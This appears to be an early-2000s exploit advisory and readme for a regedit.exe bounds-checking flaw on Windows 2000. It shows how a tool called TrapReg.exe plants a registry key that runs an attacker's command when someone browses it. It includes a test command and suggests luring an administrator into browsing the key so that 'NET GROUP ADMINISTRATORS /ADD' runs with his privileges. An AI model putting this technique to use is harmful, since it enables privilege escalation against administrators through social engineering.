A problem has been reported in Microsoft Windows. Due to improper bounds checking by the regedit.exe program, it may be possible for a local attacker to execute arbitrary code as another user.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This is a NEW exploit for a NEW vulnerability
in REGEDIT.EXE !

This one trap a KEY in the registery, that 
when a non informed user just try to BROWSE IT
with REGEDIT.EXE (localy or REMOTELY !) execute
an arbitrary command defined by attacker
without its knowledge !

The vulnerabitily appear to be in a RegEnumValueW
function misused in regedit.exe

By precaution, I council to use regedt32.exe
for your future registery manipulation.

This exploit as been tested on Win2K (fr) SP0,2,3,
and work with a local and remote browse of a 
trapped registery.

  a simple methode for test if your system is vulnerable 
  to the 'Trapped Registery for REGEDIT.EXE exploit' !

  after a succesfull compilation of the xploit, type the following
  command on a cmd prompt shell :

--
D:\code\exploits>TrapReg.exe "cmd /c echo WARRNING! you are vulnerable to the 
Trapped Registery for REGEDIT.EXE exploit! > c:\a.txt & c:\a.txt" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft

###########################################
Trapped Registery for REGEDIT.EXE exploit !
###########################################
Discovered & coded by ThreaT.

URL  : http://www.chez.com/mvm
MAIL : ThreaT@Ifrance.com

'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft' is now trapped for execute 'cmd /c echo
WARRNING! you are vulnerable to the Trapped Registery for REGEDIT.EXE exploit! >
 c:\a.txt & c:\a.txt' when our favourite administrator will browse it whith REGEDIT.EXE :p

D:\code\exploits>
--

  Ok, everything seen to be good !
  now, launch REGEDIT.exe and go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.

  If notepad (or your favourite text editor) appear with the sentence :
  "WARRNING! you are vulnerable to the Trapped Registery for REGEDIT.EXE exploit!"

  use regedt32.exe until Microsoft release a patch for regedit.exe :)


  For more fun, you can phone call your system administrator, and say him you have
  a problem with your registery at this specific key.

  When he will try to browse it remotely with regedit.exe, our arbitrary command
  will be executed to his computer with his privilege !

  So, nobody prevent you to trap your registery with a 'NET GROUP ADMINISTRATORS /ADD' :))
